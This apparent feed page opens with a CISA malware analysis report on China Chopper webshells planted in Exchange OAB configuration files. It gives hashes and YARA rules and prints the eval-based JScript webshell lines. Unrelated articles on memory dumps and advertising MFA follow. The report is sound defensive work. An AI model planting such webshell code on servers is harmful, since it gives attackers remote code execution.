MAR-10329496-1.v1: China Chopper Webshell

This article is contributed. See the original author and article here.

Malware Analysis Report

10329496.r1.v1

2021-03-19

Notification

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

CISA received three unique files for analysis. These files appear to contain configuration data for three Microsoft Exchange Offline Address Book (OAB) Virtual Directories (VD). The files show malicious modifications for the ExternalUrl parameter for the OAB VDs in the targeted Exchange Servers. The ExternalUrl parameter contains a variant of the “China Chopper” webshell, which may permit a remote operator to dynamically execute JavaScript code on the compromised server.

 

For a downloadable copy of IOCs, see: MAR-10329496-1.v1.stix.

Submitted Files (3)

2e1eb00575e1a8f6c95a23c87b05e23eb4718557f787aa905bb000e98b31c5f0 (discover.aspx)

695d4a81ce526a136351cd8eeba5c452d0ab79438fe467922a0bd61db87cef93 (supp0rt.aspx)

b67a11f17434f5ee501cc1d2acab2da14ae8dfc5a27dc00bbd7652425d5c3d23 (shell.aspx)

Findings

695d4a81ce526a136351cd8eeba5c452d0ab79438fe467922a0bd61db87cef93

Tags

backdoortrojanwebshell

Details
Name supp0rt.aspx
Size 2318 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 77318f5e9fc9b143a7877d7db5fe1002
SHA1 b6b0bc7c2552d999b5cece361c37228f811c2d23
SHA256 695d4a81ce526a136351cd8eeba5c452d0ab79438fe467922a0bd61db87cef93
SHA512 a060930cfadbe5565d874ca57b871fe4988ae58ad6a14b9356bcccdf35b3cd03ea523e53aa20e5c6e19f8a7a92efa52cd54fffa41444b004a619e769938ce727
ssdeep 48:kNrdeG1BO0vEsFkQaM5QZXh6t84ONF0qx:ktdeGpvEsWQVONCqx
Entropy 4.764649
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.I.3153A114
ClamAV Asp.Trojan.Webshell0321-9840173-0
Emsisoft Generic.ASP.WebShell.I.3153A114 (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.I.3153A114
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065.B!dha
Quick Heal CVE-2021-26855.Webshll.41381
Sophos Troj/WebShel-O
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Webshellz”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. The OAB VD is utilized to access Microsoft Exchange offline address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a variant of the “China Chopper” webshell that is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange server.

In this file, the ExternalUrl designation that normally specifies the Uniform Resource Locator (URL) used to connect to the virtual directory from outside the firewall has been replaced with the following code:

—Begin Code—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“81b78f301d7476b2f6cd8442e572e5e5″])),”unsafe”);}</script>
—End Code—

This file contains the following configuration data (sensitive data was redacted):

—Begin Configuration For Compromised OAB VD—
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             :
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : False
MetabasePath                    : IIS://EXCHANGE2013.REDACTED.local/W3SVC/1/ROOT/OAB
Path                            : C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.0 (Build 1347.2)
Server                         : EXCHANGE2013
InternalUrl                     : hxxps[:]//exchange2013.REDACTED.local/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item[“81b78f301d7476b2f6cd8442e572e5e5″])),”unsafe”);}</script>
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=EXCHANGE2013,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=REDACTED,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=local
Identity                        : EXCHANGE2013OAB (Default Web Site)
Guid                            : be693b93-97dd-4440-a21d-b8c7dd6fa764
ObjectCategory                 : REDACTED.local/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/5/2021 10:36:49 AM
WhenCreated                     : 3/2/2021 6:41:34 PM
WhenChangedUTC                 : 3/5/2021 3:36:49 PM
WhenCreatedUTC                 : 3/2/2021 11:41:34 PM
OrganizationId                 :
Id                             : EXCHANGE2013OAB (Default Web Site)
OriginatingServer             : DC2.REDACTED.local
IsValid                         : True
—End Configuration For Compromised OAB VD—

b67a11f17434f5ee501cc1d2acab2da14ae8dfc5a27dc00bbd7652425d5c3d23

Tags

backdoortrojanwebshell

Details
Name shell.aspx
Size 2356 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 f88faa6206a64bba867f62b435e89f93
SHA1 cbae4913e74da487217f4bee1964482b9c382ad1
SHA256 b67a11f17434f5ee501cc1d2acab2da14ae8dfc5a27dc00bbd7652425d5c3d23
SHA512 f2644beb27033cb0ce2ef4dff4dc7878357d2e3ecf3bd9d61eaf75613cf2343d7ebcbb81015d944e0f0089dbcf9b6b2450223f24c9a82b707f74fa62a0e7986e
ssdeep 48:k/GDrdlNCVBfB67/IPQZthCcsw4ONF0qh:ke3deL07OcfNCqh
Entropy 4.647766
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.H.E7D48A2A
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.E7D48A2A (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.E7D48A2A
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41350
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Webshellz”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. The Microsoft Exchange OAB virtual directory is utilized to access Microsoft Exchange offline address lists. The OAB ExternalUrl parameter has been modified by a remote operator to include a variant of the “China Chopper” webshell, which is likely an attempt to gain unauthorized access for dynamic remote code execution against the targeted Exchange server. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB virtual directory containing JavaScript code that can be executed on the target system.

In this file, the ExternalUrl designation that normally specifies the URL used to connect to the virtual directory from outside the firewall has been replaced with the following code:

—Begin Code—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
—End Code—

Note: The hard-coded key used for authentication was redacted from the code above.

This file contains the following configuration data (sensitive data was redacted):

Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             : Default Offline Address List (Ex2012)
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : True
MetabasePath                    : IIS://[REDACTED]EXCHANGE.REDACTED.us/W3SVC/1/ROOT/OAB
Path                            : E:Program FilesMicrosoftExchange serverV15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.2 (Build 595.3)
Server                         : [REDACTED]EXCHANGE
InternalUrl                     : hxxps[:]//webmail.REDACTED.us/OAB
InternalAuthenticationMethods : OAuth
                                WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>ExternalAuthenticationMethods : OAuth
                                WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=[REDACTED]EXCHANGE,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=REDACTED,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=XXX,DC=XX,DC=us
Identity                        : [REDACTED]EXCHANGEOAB (Default Web Site)
Guid                            : e5b25844-34da-4b54-a4f4-0ef2d1083223
ObjectCategory                 : REDACTED.us/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/4/2021 4:56:45 AM
WhenCreated                     : 3/6/2020 1:18:06 PM
WhenChangedUTC                 : 3/4/2021 9:56:45 AM
WhenCreatedUTC                 : 3/6/2020 6:18:06 PM
OrganizationId                 :
Id                             : [REDACTED]EXCHANGEOAB (Default Web Site)
OriginatingServer             : REDACTED.us
IsValid                         : True

2e1eb00575e1a8f6c95a23c87b05e23eb4718557f787aa905bb000e98b31c5f0

Tags

backdoortrojanwebshell

Details
Name discover.aspx
Size 2300 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 dd047e0a44ae22e6c68163e2e70f6a14
SHA1 c9e1f5af069c2ee83657299f9cec1181d1045716
SHA256 2e1eb00575e1a8f6c95a23c87b05e23eb4718557f787aa905bb000e98b31c5f0
SHA512 b598820abb1d08061796d1cc6576f935f408ec69b22cc87e94bd6e5248d9699df3ad9c2767e6b70f1e753e0e0195d6df70c340c677f8a92f051e0d3307179430
ssdeep 48:k6DrdDdBgm6oIPQZJbhGlpoK4ONF0qsbBMv:kWdA9sYlpLNCqsbBMv
Entropy 4.571273
Antivirus
Ahnlab Exploit/ASP.Cve-2021-27065.S1406
Avira EXP/CVE-2021-27065.1
BitDefender Generic.ASP.WebShell.H.13A3EBC8
ClamAV Asp.Trojan.Webshell0321-9840176-0
Emsisoft Generic.ASP.WebShell.H.13A3EBC8 (B)
Ikarus Exploit.ASP.CVE-2021-27065
Lavasoft Generic.ASP.WebShell.H.13A3EBC8
McAfee Exploit-CVE2021-27065.a
Microsoft Security Essentials Exploit:ASP/CVE-2021-27065
Quick Heal CVE-2021-26855.Webshll.41381
Sophos Troj/WebShel-L
Symantec Trojan.Chinchop
TrendMicro Backdoo.DDEA7357
TrendMicro House Call Backdoo.DDEA7357
YARA Rules
  • rule CISA_10328929_01 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Webshellz”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 65 76 61 6C 28 52 65 71 75 65 73 74 5B 22 [1-32] 5D 2C 22 75 6E 73 61 66 65 22 29 }
           $s1 = { 65 76 61 6C 28 }
           $s2 = { 28 52 65 71 75 65 73 74 2E 49 74 65 6D 5B [1-36] 5D 29 29 2C 22 75 6E 73 61 66 65 22 29 }
           $s3 = { 49 4F 2E 53 74 72 65 61 6D 57 72 69 74 65 72 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
           $s4 = { 57 72 69 74 65 28 52 65 71 75 65 73 74 2E 46 6F 72 6D 5B [1-24] 5D }
       condition:
           $s0 or ($s1 and $s2) or ($s3 and $s4)
    }
  • rule CISA_10328929_02 : trojan webshell exploit CVE_2021_27065
    {
       meta:
           Author = “CISA Code & Media Analysis”
           Incident = “10328929”
           Date = “2021-03-17”
           Last_Modified = “20210317_2200”
           Actor = “n/a”
           Category = “Trojan WebShell Exploit CVE-2021-27065”
           Family = “HAFNIUM”
           Description = “Detects CVE-2021-27065 Exchange OAB VD MOD”
           MD5_1 = “ab3963337cf24dc2ade6406f11901e1f”
           SHA256_1 = “c8a7b5ffcf23c7a334bb093dda19635ec06ca81f6196325bb2d811716c90f3c5”
       strings:
           $s0 = { 4F 66 66 6C 69 6E 65 41 64 64 72 65 73 73 42 6F 6F 6B 73 }
           $s1 = { 3A 20 68 74 74 70 3A 2F 2F [1] 2F }
           $s2 = { 45 78 74 65 72 6E 61 6C 55 72 6C 20 20 20 20 }
       condition:
           $s0 and $s1 and $s2
    }
ssdeep Matches

No matches found.

Description

This file is an OAB configuration file. The Exchange OAB VD is utilized to access Microsoft Exchange offline address lists. For this file, the OAB ExternalUrl parameter has been modified by a remote operator to include a “China Chopper” webshell, which is likely an attempt to gain unauthorized access for dynamic remote code execution against a targeted Microsoft Exchange Server. The OAB ExternalUrl parameter was configured to accept JavaScript code that will be directly executed on the target system. The modification of the ExternalUrl parameter suggests the operator can dynamically submit queries to this Exchange OAB VD.

—Begin Code—
hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
—End Code—

Note: The hard-coded key used for authentication was redacted from the code above.

The file contains the following configuration data (sensitive data was redacted):

—Begin Configuration For Compromised OAB VD—
Name                            : OAB (Default Web Site)
PollInterval                    : 480
OfflineAddressBooks             : Default Offline Address Book
RequireSSL                     : True
BasicAuthentication             : False
WindowsAuthentication         : True
OAuthAuthentication             : True
MetabasePath                    : IIS://REDACTED.org/W3SVC/1/ROOT/OAB
Path                            : F:Exchange v15FrontEndHttpProxyOAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags         :
ExtendedProtectionSPNList     :
AdminDisplayVersion             : Version 15.1 (Build 1531.3)
Server                         : HOPEMAIL
InternalUrl                     : hxxps[:]//REDACTED.org/OAB
InternalAuthenticationMethods : OAuth
                                WindowsIntegrated
ExternalUrl                     : hxxp[:]//f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“[REDACTED]”],”unsafe”);}</script>
ExternalAuthenticationMethods : OAuth
                                WindowsIntegrated
AdminDisplayName                :
ExchangeVersion                 : 0.10 (14.0.100.0)
DistinguishedName             : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=REDACTED,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=REDACTED,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=REDACTED,DC=org
Identity                        : REDACTEDOAB (Default Web Site)
Guid                            : e17ad2b6-f8aa-4a8d-9be6-3f038a0737ef
ObjectCategory                 : REDACTED.org/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass                     : top
                                msExchVirtualDirectory
                                msExchOABVirtualDirectory
WhenChanged                     : 3/3/2021 10:52:32 AM
WhenCreated                     : 10/26/2018 3:14:33 PM
WhenChangedUTC                 : 3/3/2021 3:52:32 PM
WhenCreatedUTC                 : 10/26/2018 7:14:33 PM
OrganizationId                 :
Id                             : REDACTEDOAB (Default Web Site)
OriginatingServer             : REDACTED.org
IsValid                         : True
—End Configuration For Compromised OAB VD—

Mitigation

If you find these webshells as you are examining your system for Microsoft Exchange Vulnerabilities, please visit the https://us-cert.cisa.gov/remediating-microsoft-exchange-vulnerabilities website for further information on remediation.

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
  • Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

Contact Information

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

About exceptions and capturing them with dumps

About exceptions and capturing them with dumps

This article is contributed. See the original author and article here.

To fix application exceptions, we have to understand them. Sometimes we need more than error messages or log entries, we need more context around them. Enter collecting memory dumps. This article is aimed for the less experienced engineers that need to collect data for analysis around exceptions.


 


Exceptions happen all the time in production applications hosted with IIS; they are more frequent than we think:



  • Worst exceptions are crashing the IIS worker process – w3wp.exe – that is executing our web app; but because WAS would restart the process with a warning in Windows events, we quickly end up with a new w3wp.exe (new PID) and potentially degraded user experience (like sessions lost).

  • Some exceptions are causing the infamous HTTP response code or pages “500, Server-side processing error”; mostly when the app code is not handling them, and they fall to be further handled by the Asp.Net framework.

  • And some exceptions may even go unnoticed, but contributing to less-than-optimal performance, because the system is trying to recover after them, spending CPU cycles.


So how are things happening with exceptions? How do they cause the above behaviors? And how can we study them?


 


 


The exception handling in Windows


Every process has at least one code execution thread; often, more. Exceptions happen in process threads. As the thread is executing code, some unexpected situations happen. That occurrence is treated by Windows much like a hardware interrupt: code execution is suspended, and the exception is first reported, then recovery is attempted.


When a process is started, Windows creates associated ports for exceptions in that process: The Debug port, the Exceptions port. When an exception occurs, a few steps are taken in the attempt for recovery:


 


First chance


The exception is first reported to the Debug port. A debugger may be attached to that port of the process. The debugger has a first chance to look and possibly handle the exception. At this stage, we call it a First-chance exception.


 


Stack unwinding


If there is no debugger attached, Windows is inspecting the call stack – the succession of function calls – of the thread where the exception occurred. The aim is to find an exception handler – think of it as the try-catch C# construct – able to treat that exception. If the function at the top of the stack, the last one called, does not have the handler, we try with the previous one – N-1. If N-1 does not have the exception handler either, we try with N-2… and so on, until we find a handler for the exception. This process is called the “stack unwinding” and will consume CPU cycles.


 


Second chance


If the entire thread’s call stack was “un-winded” and we still haven’t found a handler for our exception, the exception will be reported by Windows in the Exception port. A debugger may be attached to that port. Now, the debugger would have its second chance to handle the exception. At this stage, we call it a Second-chance exception.


 


Process killed


If a debugger is not treating the now-called second-chance exception, the unexpected event is reported in the Exception port and then… Well, the operating system is handling the exception in its way: since system stability has to be kept and the exception has the potential to break other things, like causing data loss, Windows is terminating the process. The entire virtual memory of the process is evicted, and the process is killed. Traces of the event may be left in Windows events, Application log.


 


 


Will it crash or not


Because Windows is looking for an exception handler, we never know for sure if a first-chance exception will break the process or not. With Asp.Net applications, this uncertainty increases. Remember that the app runs on top of the Asp.Net framework. Even if the application’s code is not handling the exception, the framework may handle it. How? Well, if the exception happens in the context of processing an HTTP request, then Asp.Net would handle the exception by wrapping it with an error page, or HTTP error status code: “500, Server-side processing error”.


In fact, with Asp.Net, most of the exceptions will be handled by the framework. And so, these exceptions will not crash the executing process. Which makes sense: one of the primary goals of the framework is to continue serve requests, even if some of them fall victims due to exceptions and some users/clients may get a degraded experience.


If the exception happens in a non-request-executing context – like at the application startup or in the finalizer thread – then it has higher chances to reach the stage of second-chance exception, causing the crash of the process. We almost consider them synonyms: second-chance exception = process crash, abnormal termination.


A simplified view for exception handling and capturingA simplified view for exception handling and capturing


 


 


 


 


Options to study exceptions


The Asp.Net framework or the .NET runtime, when handling the exceptions, may report these occurrences in Windows events, in Application log. The events may even contain some context, like exception name, the HTTP request being executed, or the call stack of the faulting thread. What if this doesn’t happen? What if we don’t get these traces, or we need even more context about the exceptions? Well, meet the debuggers…


Remember that a debugger may be attached to the Debug port of a process? And that all exceptions are first reported on that port? Well, with a debugger attached, we can take actions on exceptions.


We won’t attach debuggers like Visual Studio one or “real”, “heavy” debuggers in production; frequently, we don’t have that luxury of installing or executing such tools. But there are simple debuggers able to take simple but powerful actions upon exception occurrences.


With a “simple” debugger we can watch all process exceptions, like displaying them on the console. This is the least invasive action; we could share these with the developers, to let them know what happens with their app when in production.


We can log the call stack of the faulting thread, for more context. Or we can tell the debugger to collect the full memory dump of the process at the precise moment when the exception occurs – and we get call stack, object heaps, down to the very processor registry values at that precise moment. With a memory dump, we get a lot of context. We can analyze the memory dump post-mortem to try understanding what the conditions were causing an exception.


 


 


 


Common tools to capture exceptions and context


When troubleshooting, when we realize we need to know and study an exception, we regularly use SysInternal’s ProcDump or Debug Diagnostics. These free tools from Microsoft act like debuggers. We attach them to processes, then take actions like above upon exception occurrence: record call stacks, trigger memory dump collection, etc.


These tools are a must when we investigate w3wp.exe process crashes – we can’t manually collect a memory dump on a second-chance exception / crash. Both ProcDump and DebugDiag can collect the memory dump just before the process and its memory get evicted due to a crash.


While DebugDiag offers a UI and a bit more flexibility, ProcDump is very small and requires no installation. ProcDump is the only option in Windows installations where we don’t have an UI. DebugDiag was created with IIS troubleshooting as a goal, so it has quite a few features helping on that. Oh, and it comes with the functionality of analyzing memory dumps for common issues; for Asp.Net apps based on the “full” .NET framework, it gets the enough actionable info in most cases.


 


 


 


How to: steps for collecting dumps


I’ll place a few illustrated guides, steps on how to use ProcDump and/or DebugDiag to collect memory dumps:


Memory dumps at process termination caused by second-chance exception
Simply have collect the committed memory of a process just before it gets evicted by the OS on killing the process.


Collect call-stack traces for first-chance exceptions occurring in an app
We would do that when we have several annoying exceptions and would need just a bit more context around them; we don’t really want a full “fat” dump for each of the first-chance exceptions.


Collect memory dump(s) for a first-chance exception, when it occurs
When the process is not actually crashing, ever; but we keep getting HTTP responses with “500” status, for same exception, and we need to study the deep context.


Memory dumps at process termination caused by second-chance exception, with optional first-chance dump too
Because we may have some first-chance exceptions building up the “right” context for a second-chance exception to occur.


 


In addition to collecting memory dumps to study exceptions, some performance-related issues can be studied with dump analysis too. Dumps are very useful when we see memory leaks, when requests are way too slow or the process is downright hanged – requests are piling up in the processing pipeline, and they stay there without a response being generated.
I’ll reference here the illustrated procedures for:


Dump series for hang and performance issues, using a “automated” approach
Have DebugDiag use ETW to monitor HTTP requests; when some are slow, trigger memory dump collection


Dump series for hang and performance issues, using a “manual” approach


Steps to collect memory dumps wen we can witness the slowness, or we can easily reproduce it


Collect memory dumps on high-CPU situations


With DebugDiag or ProcDump we can trigger dump collection on a process when the CPU consumption goes high


Collect series of memory dumps to study memory leaks


Have DebugDiag watching the memory size of a process, collect dumps at certain thresholds

Webshells Observed in Post-Compromised Exchange Servers  

Webshells Observed in Post-Compromised Exchange Servers  

This article is contributed. See the original author and article here.

Dot gov

Official websites use .gov
A .gov website belongs to an official government organization in the United States.

SSL

Secure .gov websites use HTTPS A lock (lock icon) or https:// means you’ve safely connected to the .gov website. Share sensitive information only on official, secure websites.

New requirements for multi-factor authentication

This article is contributed. See the original author and article here.

Last year, we started requiring multi-factor authentication (MFA) in Microsoft Advertising online. Multi-factor authentication is a security process that requires you to verify your identity in two different ways. 


 


Soon we will require multi-factor authentication for all users who sign in through any third-party application that uses the Bing Ads API, Content API, and Hotel APIs. 


 


Over the last several months most API clients have prepared for the enforcement of MFA. Due to a new developer requirement as explained below, we are extending the deadline from April 1st to August 1st, 2021.


 


What users need to do


 


When you sign in and allow third-party applications to access your Microsoft Advertising account, you’ll be asked to provide a second form of verification that matches contact information in your Microsoft account profile. You’ll need to grant consent again for any third-party tools to access your Microsoft Advertising accounts.


 


What developers need to do


 


Update your application to use the new msads.manage scope (coming soon) via the Microsoft Identity endpoint. All application developers must take action to use the new scope.


 



  • Prior to MFA enforcement the Microsoft Identity endpoint supports the ads.manage scope. Access tokens that you acquire for users via the ads.manage scope will no longer be authenticated.


 



  • Prior to MFA enforcement the Live Connect endpoint supports the bingads.manage scope. The Live Connect endpoint is already deprecated and will no longer be supported. Access tokens that you acquire for users via the bingads.manage scope will no longer be authenticated.


 


